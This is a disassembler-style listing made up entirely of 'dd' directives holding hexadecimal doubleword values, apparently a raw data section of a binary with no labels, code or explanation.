		dd 9DD0440Bh, 0F070E193h, 0B6A429B4h, 477A08EAh, 1D34359Ah
		dd 2D5BBCE7h, 0F4982C7Ah, 47561A15h, 3372131Dh,	5D5FEAB3h
		dd 0FDE62AD1h, 0C9888D6Ah, 71139A75h, 69265619h, 8D30C52h
		dd 8494ACBh, 79243D5Fh,	7369849Ch, 11A49917h, 4662630Ch
		dd 2686924Ah, 12BBCAB5h, 72C01111h, 9D2A0B49h, 1D1919A4h
		dd 199F3508h, 3C2D7B0Ch, 646AE035h, 562025F0h, 7074DF9Dh
		dd 7CCA5CBCh, 262114A1h, 4CA07325h, 0B2B54349h,	13141210h
		dd 98AA749h, 1468B04Ah,	9730869h, 0A114452Dh, 68BACB74h
		dd 1CA14065h, 86EDE4ADh, 6475290Ch, 0C8E02417h,	24534B16h
		dd 0C7950D22h, 389EACD0h, 0A58499CEh, 9A7FE683h, 6896BDA9h
		dd 516C12CBh, 48504840h, 5257457Dh, 0A540A50Ch,	53A0F17Bh
		dd 0A1E7204Bh, 7AE49D4Ah, 50C1A439h, 2F1911A3h,	18B030C5h
		dd 0AE504455h, 3232BF30h, 0B05CAF29h, 11F068D3h, 2B14C825h
		dd 887E691Ch, 0AA5421ECh, 0D64F3A0Ch, 5250C818h, 375350DCh
		dd 38185339h, 1C482C21h, 1A5A2C48h, 0D4251C29h,	0C1A94C43h
		dd 53C2C744h, 8DC21B2h,	8A2B456Dh, 4D23DC84h, 442D6FE0h
		dd 365BCC1Ah, 6AB2181Ch, 4753A8BCh, 683C7429h, 0CFE708CCh
		dd 0B0E6E490h, 0AF3C29D7h, 0D04CBC3Dh, 1C900C59h, 1032109Ah
		dd 515ADCF9h, 687EAEE4h, 6771E818h, 5B14EA62h, 6A752125h
		dd 66083270h, 0B8149912h, 0CA420E56h, 0F2EC104Ah, 1A9DA65Bh
		dd 56097A72h, 0A0F371Eh, 7B4C2761h, 0F01BEC8Ah,	4B5075D3h
		dd 48D3331Eh, 4EB78253h, 91E3637h, 245B91FAh, 0A22849F0h
		dd 3C1B5308h, 416F8B4Fh, 78B5331Ch, 0F19DCCB7h,	287C1928h
		dd 86046425h, 632581D0h, 5E889B3Fh, 0B0AD6CC5h,	7F27ACD6h
		dd 0FAC0C09Ah, 69726F68h, 4621D07Ah, 7CF93A27h,	0DB7234E8h
		dd 0AAFBA774h, 1C4E1227h, 0A5308531h, 5F53E1F1h, 46987B80h
		dd 6D3ED99Ch, 4305594Eh, 6D544148h, 0C11C2A28h,	0CC9584AAh
		dd 7492977Eh, 3D12D23Ah, 7649D417h, 1EA77FD3h, 5001273Ch
		dd 0E2143AADh, 0DA2D856h, 569E208Dh, 76535209h,	382323FCh
		dd 0CA7E1156h, 57CC2319h, 5EE9022Bh, 0A79CA41Ch, 0C094BC2h
		dd 88158F2h, 4D32C533h,	78293E74h, 92A8DB6Bh, 5E2E634Bh
		dd 6984DE20h, 4B353339h, 9D3EB489h, 3A080238h, 7C69B2DDh
		dd 10E5A7A4h, 7423DE48h, 82FB7368h, 0DD38B24Bh,	19288C3Bh
		dd 40E0BD34h, 8EDF70A2h, 351C7DA3h, 0BCD12721h,	0C7B8F469h
		dd 6547F54Fh, 663770Dh,	20420921h, 48143A24h, 61637084h
		dd 0F582704Ah, 0E92A7A44h, 0FE73C3DAh, 92705F12h, 6C7941C9h
		dd 37EB3834h, 0D6126D35h, 1BFF9ECAh, 79367E4Dh,	45898A76h
		dd 60CA6F74h, 444C5104h, 109087E3h, 0C55C4637h,	6CEBB048h
		dd 281049EFh, 463D5847h, 45216511h, 115EBFFCh, 0E8DC3097h
		dd 6E450F84h, 0D4DF4176h, 91D05072h, 0EE5343CAh, 62648F1Eh
		dd 53847235h, 0F732AB48h, 3537784Eh, 89217966h,	0B152055Ch
		dd 63B90983h, 252D436Ch, 327E257h, 43636EBFh, 0DD444D24h
		dd 0B574132h, 0CE41C818h, 2D3464EEh, 69142AF4h,	8A09F852h
		dd 0B899D560h, 4741FB49h, 9AF7E6C1h, 1151A8E0h,	0B7E85492h
		dd 1E5324DCh, 0EBFC3968h, 163045DEh, 462F0B44h,	6B527769h
		dd 0E704D8CDh, 3E4490A9h, 2041535Fh, 969531F6h,	0C9149205h
		dd 0BAEA57BEh, 0A4EB6C09h, 96E6214Ah, 0A4754217h, 4C95532Ah
		dd 2431D218h, 6627645Dh, 752BDC10h, 0C3220C6Dh,	0E78A188Eh
		dd 77460C2Bh, 444F5414h, 0F041CD44h, 0D9495809h, 0A953580Ch
		dd 9B286496h, 6234114Ch, 0FD14356Fh, 0B5D4503h,	0CC36810h
		dd 0C72F2AE8h, 4A28A096h, 8F8B149h, 0A2CA45B0h,	0E1C9106Fh
		dd 4232730Ch, 894E219Ah, 1F694634h, 602824ABh, 7A6F4D3Ch
		dd 61C528DEh, 0BAE342Fh, 81FC284Bh, 762AA14Ah, 7B482955h
		dd 4C0F50D9h, 0D44E1443h
		dd 2D4E2442h, 5578D628h, 6C29557Ah, 4F651441h, 130D60E1h
		dd 2443140Fh, 4F197492h, 0E9DF4824h, 0F0C0B5CCh, 14A573F4h
		dd 14873420h, 47153C23h, 4E4CD43Fh, 3D0ADED5h, 0BFD41C78h
		dd 0A1E57846h, 6394FF37h, 95D692D8h, 0B4B8BC20h, 0D25DB8C4h
		dd 62C55CADh, 683EB979h, 28521066h, 2CE8101Eh, 0C2242C8h
		dd 70FD19F3h, 3C9AFFDEh, 54710809h, 5DA4AFA5h, 0CC9688E8h
		dd 0FC94C669h, 0A36E9476h, 8C5B250Ch, 206F7488h, 0F131EBBFh
		dd 730891C2h, 0A33DD817h, 8410A06Ch, 9C5F57C1h,	53BF0C45h
		dd 9479E1F0h, 850E28DAh, 0E8D86CAAh, 84816907h,	7C434153h
		dd 2A5A4883h, 1BA90C70h, 9A8BF64Ch, 10483374h, 42334914h
		dd 0E05F3884h, 4944461Dh, 8D7FED73h, 0DA1DBF48h, 0F5638C0Fh
		dd 0DD21DBC0h, 0CE9535Dh, 54C22825h, 32737702h,	2692655Fh
		dd 624FC1D4h, 427C776Ah, 3C967610h, 0D7694243h,	122DDA3Fh
		dd 0BA241450h, 42492445h, 589328AFh, 5EA4F772h,	0CB726514h
		dd 0F88440B8h, 0A5244DBBh, 14A4465Bh, 2EA2776Dh, 144358CAh
		dd 0B299977h, 291C6467h, 89A44759h, 33AC294Eh, 7456EA44h
		dd 0B766AD09h, 3A797425h, 6412FDBFh, 7B958464h,	3646ADE3h
		dd 83466D3h, 8CDD1535h,	150DDC19h, 0E65EF9A5h, 9A111A52h
		dd 90E1A21h, 16C81275h,	3510840Fh, 939C4D43h, 254C727Ah
		dd 0D66A35E0h, 6B6FFA81h, 25D22EADh, 30D0629Ah,	0A5FC96FCh
		dd 0B9D113D1h, 0B550AE7Eh, 352A70B2h, 166C6400h, 1A76A20Ch
		dd 676CC574h, 2D242441h, 141D2B0Fh, 0D8ADCBE9h,	320C8220h
		dd 31521BC3h, 72105121h, 0C60F5479h, 3084224Ch,	12850E92h
		dd 63668135h, 3422D183h, 0E0D6341h, 6600C92Fh, 1978D5A0h
		dd 67626F46h, 262957CEh, 14820566h, 6F540A11h, 0AD417282h
		dd 0A6368124h, 741A1969h, 365113Bh, 313269B4h, 84E2CB73h
		dd 293F8C99h, 7240146Bh, 66D4440Eh, 23485C29h, 73ACA45Ah
		dd 0BA799C92h, 8E004482h, 0D008B70Bh, 8D0B529Bh, 0D538012h
		dd 0A8A70029h, 5251CE11h, 5D00D92Ah, 0A97B5DC4h, 69BF3530h
		dd 4E06D008h, 46174F6Dh, 4BB5B2D3h, 1C0AE7B1h, 6279A196h
		dd 999D70A2h, 0AE47503Ch, 4539CE4Dh, 707954C2h,	2F2175ADh
		dd 11AE0552h, 851170Dh,	73594A7Ah, 1B814828h, 285FBF6Bh
		dd 0C491C414h, 47B56F4Dh, 0C412A204h, 2D6F73B1h, 4E229D80h
		dd 0F4107894h, 0BD642135h, 6C271BECh, 570E904h,	60976E53h
		dd 0E674EBBFh, 1215B388h, 89BCA94Dh, 6C4A496Bh,	0F997CC23h
		dd 407CDD2Ch, 0BD4C7144h, 0A45EC1C2h, 0DC3C41D9h, 9D75BBE4h
		dd 7964CAA2h, 0B84F14Fh, 0E553891Ah, 0C833A370h, 72700ADCh
		dd 494F5E1Ah, 351E1439h, 1A00104Eh, 389C4EBCh, 96343C72h
		dd 7118A124h, 0B4302C57h, 572E9C2Bh, 714EA1F4h,	659DE647h
		dd 7695411Eh, 9965AD80h, 4BC9E90Eh, 348F801Eh, 48CBDB3Ch
		dd 7DF3E993h, 0AB9F29B8h, 9067E6ECh, 0DD695F5Dh, 3095C2B1h
		dd 0FAB25EBDh, 63AF2D9Eh, 5FDC4EBAh, 9B605B5Bh,	55AFDA7Ch
		dd 2A79DB25h, 1E34F24h,	0E21A124Bh, 5A3247F4h, 2DAAD894h
		dd 8719A488h, 1296C9Ch,	40AAAC61h, 0AB41C42Dh, 0B479100Dh
		dd 28AB191Ah, 2F6A5B4Ah, 38F4C55Dh, 28AB7714h, 23706D1Ch
		dd 0C42A0391h, 74755B14h, 0D088BB43h, 28AC6B62h, 51602608h
		dd 0D7099A05h, 53EA2929h, 631B8C7h, 87AEED09h, 4315E828h
		dd 4409DC06h, 0C089CCD4h, 0B024B812h, 0A091A848h, 90449822h
		dd 12808988h, 486C2478h, 22549160h, 3840444Ch, 28123089h
		dd 18482024h, 4220C91h,	4414F820h, 0E089E8F0h, 0D024D812h
		dd 0B891C448h, 0A844B022h, 129489A0h, 48802488h, 226C9174h
		dd 545C4464h, 40124889h, 30483824h, 20222891h, 2E0C12FFh
		dd 13F81B11h, 959A4E1h,	24D412DCh, 91BC48C8h, 44A822B4h
		dd 8889949Ch, 74248012h, 60916848h, 48445422h, 1230893Ch
		dd 48202428h, 22109118h, 0F811E108h, 45D1BA12h,	0D0092CE2h
		dd 0B812C889h, 0A048AC24h, 90229891h, 89788044h, 245C1268h
		dd 91444850h, 442C2234h, 10891824h, 4240812h, 811FC44h
		dd 22E891F4h, 0C8D444DCh, 0B812C089h, 0A848B024h, 90229C91h
		dd 89808844h, 24701278h, 915C4864h, 444C2254h, 2C893440h
		dd 18242012h, 4910C48h,	0D910FC1Bh, 44EC0922h, 0D489DCE4h
		dd 0C024C812h, 0AC91B848h, 9C44A422h, 128C8994h, 48782480h
		dd 22689170h, 50584460h, 3C1C4889h, 2C123489h, 1C482424h
		dd 0C221491h, 6EFC0444h, 7891F90Fh, 225FE48Bh, 0BEC817F9h
		dd 0B0099145h, 0A044A822h, 128C8998h, 48782480h, 22649170h
		dd 404C4458h, 2C123889h, 14481C24h, 4220C91h, 440EF820h
		dd 0DC89E8F0h, 0CC24D412h, 0B891C448h, 0A444AC22h, 12908998h
		dd 48802488h, 22709178h, 50584464h, 3C124489h, 28483024h
		dd 10221C91h, 40F80444h, 0E889EC0Dh, 0D424DC12h, 0C091C848h
		dd 0AC44B422h, 129C89A4h, 488C2494h, 227C9184h,	646C4474h
		dd 54125C89h, 40724C24h, 2C483824h, 1C222491h, 8B081444h
		dd 0CF84684h, 0E409C8F1h, 0D422DC91h, 89C8CC44h, 24B812C0h
		dd 91A848B0h, 449422A0h, 7C89848Ch, 6C247412h, 5C916048h
		dd 48445022h, 12388940h, 4820242Ch, 70089114h, 0D90BF888h
		dd 12E009E9h, 48C824D0h, 22B491BCh, 98A044A8h, 88129089h
		dd 74487C24h, 64226C91h, 89505844h, 24381244h, 9124482Ch
		dd 4414221Ch, 0FC88040Ch, 12F4810Ah, 48E424ECh,	22D491DCh
		dd 0B8C044C8h, 0A812B089h, 94489C24h, 84228C91h, 89747C44h
		dd 2464126Ch, 914C4858h, 44342240h, 1C89242Ch, 0C241412h
		dd 0FC8D0448h, 991E909h, 44E022E8h, 0C489CCD8h,	0B424BC12h
		dd 9C91AC48h, 8C449422h, 127C8984h, 486C2474h, 22589160h
		dd 3C484450h, 24123089h, 14481C24h, 4220C91h, 4408F820h
		dd 0DC89E4ECh, 0C824D012h, 0B891C048h, 0A444AC22h, 1294899Ch
		dd 4880248Ch, 22689170h, 44504458h, 30123C89h, 20482824h
		dd 0C221491h, 7F811E1h,	0E824F002h, 0D091DC48h,	0BC44C422h
		dd 12A889B4h, 489824A0h, 22849190h, 6C74447Ch, 5C126489h
		dd 4C485424h, 38224491h, 89283044h, 24181220h, 20225C0Ch
		dd 0EC4406F8h, 12DC89E4h, 48C824D4h, 22B091BCh,	909844A4h
		dd 7C128889h, 70487424h, 64226C91h, 89505C44h, 24401248h
		dd 912C4834h, 4514221Ch, 0F822C208h, 48F00405h,	22DC91E4h
		dd 0BCC844D0h, 0A812B089h, 94489C24h, 84228C91h, 896C7844h
		dd 245C1264h, 91484854h, 44342240h, 1489202Ch, 4240C12h
		dd 22B0FC4Eh, 0E0E844F4h, 0CC12D889h, 0BC48C424h, 0AC22B491h
		dd 8998A044h, 24881290h, 91784880h, 44682270h, 50895860h
		dd 40244812h, 34913848h, 20442C22h, 17088914h, 3F48D08h
		dd 92CD2E9h, 12C889D4h,	48B424BCh, 22A491ACh, 84904498h
		dd 74127C89h, 64486C24h, 54225C91h, 89444C44h, 242C1238h
		dd 91204824h, 44102218h, 26EFC08h, 96491E1h, 91D448DCh
		dd 44C022CCh, 0A889B0B8h, 9424A012h, 80918C48h,	6C447422h
		dd 12588960h, 48482450h, 2230913Ch, 1C204428h, 0C121489h
		dd 0FC460424h, 9C8E101h, 22E491ECh, 0CCD444DCh,	0BC12C489h
		dd 0AC48B424h, 9C22A491h, 89848C44h, 246C1278h,	91584864h
		dd 4444224Ch, 28893038h, 18242012h, 4911048h, 0F040FC38h
		dd 0E012E889h, 0CC48D424h
		dd 0BC22C491h, 89ACB444h, 249C12A4h, 918C4894h,	447C2284h
		dd 64896C70h, 54245C12h, 40914848h, 2C443822h, 121C8924h
		dd 480C2414h, 0FFFC8604h, 9C8F042h, 22E091E8h, 0C4CC44D4h
		dd 0B412BC89h, 0A448AC24h, 94229891h, 89848C44h, 2474127Ch
		dd 9164486Ch, 444C2258h, 30893C44h, 20242812h, 0C911848h
		dd 0FEF88870h, 0E409E9D9h, 0D424DC12h, 0C491CC48h, 0B444BC22h
		dd 12A489ACh, 4890249Ch, 22849188h, 606C4478h, 48125489h
		dd 34483C24h, 24222C91h, 89141C44h, 0FDFC1104h,	0E809D9B2h
		dd 0D848E024h, 0C422D091h, 89B0B844h, 249C12A4h, 91844890h
		dd 4470227Ch, 50895C64h, 40244812h, 28913448h, 18442022h
		dd 170C8914h, 0FCF88808h, 0E422EC11h, 89CCD844h, 24B812C4h
		dd 91A448B0h, 4490229Ch, 78898088h, 68247012h, 50915C48h
		dd 3C444822h, 12288934h, 48182420h, 7F049110h, 89F0FB40h
		dd 24E012E8h, 91D048D8h, 44BC22C8h, 9C89A4B0h, 88249412h
		dd 78918048h, 64446C22h, 124C8958h, 483C2444h, 22289130h
		dd 0C14441Ch, 0F846848Bh, 17E9D9FAh, 0F245BE88h, 8B7C912Fh
		dd 44B40922h, 9889A0A8h, 88249012h, 78918048h, 68447022h
		dd 12588960h, 48502454h, 22389144h, 1820442Ch, 8121089h
		dd 0FC10112Eh, 44F422F9h, 0DC89E4ECh, 0C424D012h, 0B491BC48h
		dd 0A444AC22h, 1294899Ch, 4880248Ch, 226C9174h,	4C5C4464h
		dd 38124489h, 28483024h, 10221C91h, 0E3F80444h,	0E009D1B2h
		dd 0CC48D824h, 0B422C091h, 89A0AC44h, 24901298h, 917C4884h
		dd 44682274h, 4C89545Ch, 3C244412h, 2C913448h, 1C442422h
		dd 11088910h, 0F002F7FCh, 0E048E824h, 0D022D891h, 89C0C844h
		dd 24B012B8h, 91A048ACh, 448C2294h, 74897C84h, 64246C12h
		dd 54915C48h, 44444C22h, 1230893Ch, 481C2428h, 1004910Ch
		dd 0F422F6FCh, 89E4EC44h, 24D412DCh, 91C048CCh,	44B022B8h
		dd 9889A0A8h, 7C248812h, 68917048h, 58446022h, 12488950h
		dd 48342440h, 2224912Ch, 0C14441Ch, 0F844848Bh,	91F008F5h
		dd 44E022E8h, 0D089D4DCh, 0BC24C812h, 0A891B048h, 9844A422h
		dd 12888990h, 48782480h, 22609170h, 48504458h, 38124089h
		dd 28483024h, 10221891h, 41FC0844h, 0EC24CEF4h,	0D491E048h
		dd 0C044CC22h, 12AC89B4h, 4894249Ch, 2280918Ch,	646C4478h
		dd 54125C89h, 44484C24h, 34223C91h, 89283044h, 2414121Ch
		dd 8804480Ch, 0F011F3FCh, 0E044E822h, 12CC89D8h, 48BC24C4h
		dd 22A491B0h, 88904498h, 78128089h, 68487024h, 58226091h
		dd 89404C44h, 242C1234h, 911C4824h, 440C2214h, 0F240FC04h
		dd 12EC89F4h, 48D824E0h, 22C891D0h, 0A8B044BCh,	9812A089h
		dd 84489024h, 74227C91h, 89606844h, 24501258h, 91384848h
		dd 4424222Ch, 8891018h,	0F0880817h, 22E811F1h, 0CCD444DCh
		dd 0B412C089h, 9848A424h, 84228C91h, 896C7844h,	24581260h
		dd 91484850h, 44382240h, 18892430h, 0C241012h, 0F8880448h
		dd 22EC11F0h, 0D8DC44E4h, 0C412CC89h, 0B048BC24h, 0A022A891h
		dd 898C9844h, 247C1284h, 916C4874h, 44582260h, 34894048h
		dd 24242C12h, 14911C48h, 4440C22h, 0E1EF6EF8h, 228B7891h
		dd 0CC44D409h, 12BC89C4h, 48AC24B4h, 229891A4h,	7C884490h
		dd 6C127489h, 5C486424h, 44225091h, 89343C44h, 2424122Ch
		dd 9114481Ch, 0F888700Ch, 22E9DDEEh, 440916F1h,	0BC89C4CCh
		dd 0AC24B412h, 9891A448h, 84449022h, 1270897Ch,	485C2468h
		dd 2240914Ch, 242C4434h, 0C121889h, 0F410112Eh,	44E822EDh
		dd 0CC89D4DCh, 0BC24C412h, 0A891B048h, 9844A022h, 12888990h
		dd 48742480h, 2264916Ch, 48504458h, 38124089h, 28483024h
		dd 14222091h, 6DFC0844h, 0DE09E1ECh, 0DC48E424h, 0C822D491h
		dd 89BCC444h, 24A412B4h, 9194489Ch, 4484228Ch, 6C89747Ch
		dd 5C246412h, 4C915448h, 40444422h, 12308934h, 48202428h
		dd 220C9114h, 0EBFC3704h, 45BC48F9h, 0BD80991h,	5874795Ah
		dd 696B2297h, 0CB7B18DEh, 119662A1h, 0D9A4FC75h, 1B3B6310h
		dd 50C736D3h, 6B61646Ch, 623C21D9h, 9108FFAh, 36F65C67h
		dd 77F20C21h, 0D70C4CBDh, 0F211E118h, 99630887h, 59EB23F5h
		dd 0E0184E75h, 2D2F6B16h, 0DF34E653h, 66097318h, 250D1F8Dh
		dd 765551F8h, 9B03E08h,	6608A36Eh, 10610474h, 3D74626Eh
		dd 74B521F7h, 109B38BCh, 86D99AFEh, 8CD66E11h, 0D16D1046h
		dd 97450814h, 563B9EB8h, 59795064h, 0E8997210h,	9D576475h
		dd 2D8A64C8h, 5B27D050h, 86102230h, 6E652108h, 489559B7h
		dd 2692875Ah, 88BA6C10h, 51676940h, 1B6E0874h, 11E630A1h
		dd 526CDDFDh, 0DC8857CCh, 0B4116DA0h, 0C9EC2612h, 0EB19568Dh
		dd 0DAFEF8BCh, 6E398531h, 0D00C2350h, 43389C08h, 6D1A825Ah
		dd 72F8088Ch, 46675CA1h, 11DF74B3h, 20732ABCh, 729010DEh
		dd 0BC7341D9h, 0D1564058h, 845D7FDh, 685723EAh,	6BF6E8CEh
		dd 0DA0C4ED0h, 6508117Eh, 0F8FD1BC2h, 2D116A53h, 107937BDh
		dd 387AC85Fh, 8DC62A45h, 6C88D96Ch, 7EAABE67h, 0D6DCE0A6h
		dd 10C6346Ah, 0D0507267h, 682ACF11h, 93CC8210h,	0B4406E69h
		dd 7AF2E0F6h, 0EF6914A9h, 0C1E8DE4h, 0C590620Ch, 0C64722Ah
		dd 0D0656E48h, 7D929A18h, 0CD527AEh, 507ED06Bh,	0E7409BCFh
		dd 4E5694C8h, 0C9C420DBh, 1C92FA5Ch, 664CE52Fh,	20A3791Ch
		dd 6ED09651h, 686AE297h, 0A04A21B5h, 0CA2B262h,	0A4898790h
		dd 7010A576h, 0D0208438h, 2C53EB78h, 2835106Fh,	2446199Ah
		dd 6E115661h, 93FA6963h, 1D5AE548h, 4824B338h, 1940C020h
		dd 757A2455h, 73056F6Ch, 8FD93764h, 2D671198h, 9EA24277h
		dd 6220602Ch, 706918A4h, 0C73B1342h, 986DDFDCh,	53348B5Bh
		dd 54130E20h, 727D4B7Ah, 936FD1FEh, 0F0136126h,	0D0699075h
		dd 0C94008FCh, 11538B6Bh, 0D5106FC1h, 64106150h, 3F0D6567h
		dd 7386B137h, 6F46C532h, 0BF0C2576h, 0B5DC4C1Bh, 98B00C26h
		dd 2D16DE12h, 608B0FF8h, 0B4794821h, 0A9908D10h, 6C1F7010h
		dd 65121429h, 84507ACh,	0EB0829A0h, 80F58AE6h, 0E56E9BCFh
		dd 85770822h, 8147297h,	0D56B3C74h, 6F5CBD08h, 75700391h
		dd 0F1D1E66Ch, 3B20F8A1h, 64D783DEh, 68E41147h,	8A1D710h
		dd 756F482Fh, 660CA170h, 0AC697624h, 0E3A490A8h, 81A66EFDh
		dd 6B10EDF4h, 78ABE150h, 0C6A96851h, 0A21A2C8Fh, 11080D55h
		dd 64674A7Ah, 0D1592808h, 0F2949CE4h, 7C41854Ch, 0DB560521h
		dd 7450B5BCh, 684D24ACh, 96369E6Ch, 0E7C8A322h,	0D1BB0C2Ah
		dd 6D119557h, 9B109AA8h, 61102729h, 1134D3DCh, 0C2C2D7FAh
		dd 8466E70h, 99C46149h,	28BE7610h, 40D8C16Bh, 121055F1h
		dd 296DFC8Ah, 0C92F1C7Ah, 119772F0h, 1BC0166Dh,	0D2F411A8h
		dd 38996FAAh, 0F509BE69h, 10CD9890h, 29066253h,	74D5E911h
		dd 45B8A63Fh, 18D96F0Ch, 400ACBF2h, 0DE6F0886h,	6D546609h
		dd 761E5210h, 0E9F4C4B2h, 186D3868h, 8D66EBE7h,	8D8081Ah
		dd 39B608B0h, 8B9E9A11h, 0A972C220h, 69C5A540h,	26752054h
		dd 19EDDD7Ah, 0C5673121h, 49B80C45h, 8450C56h, 20778154h
		dd 2F702DCFh, 4BEE2009h, 4F2DA957h, 0A46E1374h,	0DD25AB10h
		dd 0C05838Dh, 50516B52h, 18825E18h, 66088672h, 6211DA27h
		dd 59644669h, 6E7D7390h, 4CF3DD11h, 0C4B85B6Fh,	0BF5C511Dh
		dd 6D380842h, 9FA04B46h
		dd 4D11CC79h, 0A0AC69E7h, 0E6107068h, 51086414h, 0D5E70714h
		dd 0FC142573h, 68597FF3h, 2A10D0C3h, 0A2F16863h, 882ED0Ch
		dd 102256FCh, 0A47A6921h, 0E9649E32h, 7218326Ch, 808A4CAh
		dd 0B71C20C7h, 4A74F541h, 6E196DC4h, 0D26B0813h, 2BEA1270h
		dd 99720804h, 0EB10BFACh, 0CAC88C0h, 0BC226D96h, 510C9A76h
		dd 0FB1034E4h, 34106911h, 64101463h, 2DAD4CEBh,	0AFF15972h
		dd 3CB784F9h, 1BA2088Bh, 8B0D1036h, 61102A6Ch, 586B6834h
		dd 0B8C2AC4Ch, 0D10879A8h, 6925202Eh, 1069B89Bh, 11162DDAh
		dd 62CD097Bh, 18D51546h, 55865E2Fh, 0B00C8614h,	944C8461h
		dd 8D23C18h, 1BF2F37Ah,	7469CEFEh, 0B4DBF611h, 0D444C421h
		dd 94085A74h, 6611E20Dh, 40106CECh, 70F0866Bh, 9A8053D1h
		dd 6433A519h, 0FFCF2037h, 0F0A70CEBh, 840884B9h, 942D9A10h
		dd 250C68DBh, 47FF5850h, 641C7A08h, 7959826Eh, 9F6B08A7h
		dd 1464149Fh, 4069D59Eh, 0E4E7EF78h, 72664059h,	78106473h
		dd 10BE9ACDh, 5989D569h, 0BC64901Ah, 8D1C47FFh,	61E80209h
		dd 6BF8F464h, 10B790B9h, 9F24F4DFh, 9F106294h, 630440E9h
		dd 7DC96475h, 948910A0h, 6810B1C4h, 0E40D7B77h,	0AFE23C72h
		dd 7C24150Ch, 6C797516h, 0DF195C76h, 0AA082AC6h, 0E080B46h
		dd 67A7395Ah, 0BA44205Dh, 0AA108426h, 0D34C4E88h, 7D34FC19h
		dd 6A9620A6h, 935114Dh,	0F361341Ch, 1A9FC0B7h, 1466450Ch
		dd 7C424414h, 6F2A1E6Fh, 79696F3Ch, 804B2C2h, 0C778E177h
		dd 88821177h, 3225A50Ch, 74100F74h, 29B69A08h, 25846208h
		dd 0F2897208h, 18320804h, 0D0886C70h, 2A9E30E3h, 2D7A1F8Eh
		dd 0DEBB6852h, 8921374Eh, 1029A11Bh, 0ECA0786Ch, 66680884h
		dd 64120841h, 61925464h, 0C0CCD574h, 46795237h,	0DB89734Eh
		dd 90F11A7h, 1899DC55h,	9A6F3264h, 12083319h, 36796F09h
		dd 776A1090h, 54390909h, 98A6670Ch, 0D8010DAh, 0D541061h
		dd 0EE621849h, 0A518DEEBh, 21086C28h, 0D145AA6Ch, 0E35C08D4h
		dd 91120841h, 89088A79h, 34FC6F92h, 0EF7C26DFh,	4985AE1Ah
		dd 7008096Bh, 116F27A6h, 41CF1BBFh, 0ABDEA110h,	6C752620h
		dd 0F3435B66h, 6DF86423h, 7164BC58h, 0E9F3754Fh, 2B211869h
		dd 32542D6Eh, 7A30940Ch, 77306B95h, 1175F111h, 34B711A4h
		dd 67084F70h, 0AE119271h, 8B6A2628h, 0F020CE2Ch, 2A182BDBh
		dd 472C6B86h, 0A4917862h, 0A6EC70A5h, 4210DBB5h, 50746B96h
		dd 0F38B9492h, 6FD7F3C4h, 6AC9F311h, 1694852Bh,	2D9949F1h
		dd 12457D43h, 0DCC5E210h, 75A11834h, 7AA6080Dh,	6518CC8Dh
		dd 74A1764Eh, 0F6840806h, 0F208A36Ch, 42BFAB70h, 4B6C9BAAh
		dd 10813610h, 6D440CD1h, 0EF047A1Eh, 792C0819h,	6B08A5EEh
		dd 59511856h, 2EB85A38h, 9B480843h, 19DB0F48h, 3FC6EAD7h
		dd 0D240A4FBh, 26121709h, 617710B8h, 74656B10h,	1013689Ah
		dd 55D46842h, 8B101767h, 65AF3442h, 732A660Fh, 34C9A154h
		dd 62082232h, 19C258ECh, 6C7A7572h, 0B419D165h,	64FB5696h
		dd 290C519Ah, 0CC281169h, 34D0A308h, 10B91111h,	186F5276h
		dd 3925DE51h, 55DC10A8h, 41251079h, 36C1049h, 618F4C91h
		dd 14C68D76h, 64820D0Ch, 4ABFE354h, 7488C9F0h, 0AC332F83h
		dd 8761825h, 7BA908C1h,	960C10B6h, 1C6F148Bh, 8489C492h
		dd 65080455h, 648CD266h, 0F8A14A9h, 9A3CA1BFh, 9C794372h
		dd 6ADF19B7h, 6D970873h, 136D9F1Ch, 71185170h, 3755D04Bh
		dd 0C43F36Dh, 757A717Bh, 46928E6Fh, 41707253h, 0CFFB75EFh
		dd 5A0C5AC5h, 1048E413h, 10752AE2h, 0C56FBE81h,	31284972h
		dd 9E740929h, 6B754458h, 48880012h, 0B176784Fh,	104FBC24h
		dd 4E781229h, 11C03674h, 0DA927CFBh, 0BE907819h, 7018ECA9h
		dd 786922EFh, 2F0FC2B5h, 9BE61538h, 0E6D64B10h,	8A97E3Ch
		dd 8CC4A127h, 0DAFC593Ch, 8442DA21h, 7A73F224h,	9450AC7Ah
		dd 6511CC0Ch, 26645B8Ch, 0C1906018h, 773C4599h,	0F96529DEh
		dd 0F14ABE99h, 0C6A4EEA9h, 0EF11C44Eh, 11FBE924h, 95785E88h
		dd 5176340Bh, 186D2826h, 532C90ACh, 55E0184Eh, 0E366F86Ch
		dd 0E94A0C4Dh, 1AF3DD7Ch, 850B0967h, 9408A288h,	1099C466h
		dd 0F5504975h, 6FAD2373h, 6190BF10h, 289EA5D1h,	5E645AE3h
		dd 4F1A2450h, 411782Dh,	517D94A9h, 58783008h, 0C9963E70h
		dd 2C18AC88h, 0F04D11B2h, 699B8957h, 0B40C16A0h, 6C106CF4h
		dd 114D66BCh, 4B6E9413h, 69880A11h, 0CCE82410h,	1A996410h
		dd 0E0131034h, 0D57BBEA8h, 6634DF11h, 19641AEAh, 11C87EC6h
		dd 2E1C968h, 6A90766Dh,	8A1A819h, 9A820728h, 4F43141Ah
		dd 4D081641h, 2310B4CDh, 68430180h, 440CA22Eh, 93DAE560h
		dd 38A8E428h, 0DB060841h, 11CF829Eh, 584D6814h,	75129804h
		dd 0E55FDCF9h, 31CC0DA1h, 66D89FF4h, 27279560h,	34080A6Ch
		dd 0C8FF1620h, 98C547E4h, 36BA617Ah, 63B4313Bh,	41D9D3BAh
		dd 68140C0Ch, 0F4B608A4h, 65560822h, 4E8148CCh,	0DA781CE2h
		dd 394C6265h, 7275E4F9h, 57C51CABh, 5A0E8460h, 18933E0Ch
		dd 55643242h, 682694D9h, 10F15E08h, 1435A504h, 8EA6E97h
		dd 0B96BAC3Ah, 980618EDh, 11B5F9D6h, 671F024Eh,	14AB756Ch
		dd 5D72A8E1h, 686EEDA0h, 87928E5h, 882229Ah, 68454F6Bh
		dd 9893DA08h, 12666BC2h, 85CC10DAh, 0C4677354h,	0CD8D49C4h
		dd 0C4671092h, 4FBCD3Bh, 30C0110Ch, 4A064626h, 299ECF88h
		dd 0F2649228h, 0F5189A24h, 201BDE12h, 92CADEFh,	0F0923F08h
		dd 6214A579h, 0F0922BD6h, 0F0FAB061h, 68DC9C6Fh, 97AD250Ch
		dd 8599A410h, 6528D53Eh, 0AFEF4980h, 0B4E68F11h, 720ED928h
		dd 0C6F5994h, 0BDD730D4h, 72109854h, 8C624875h,	0EE1CE5A4h
		dd 0A845089Ah, 0BB56922Dh, 0E5184FC0h, 0BE08043Dh, 92409951h
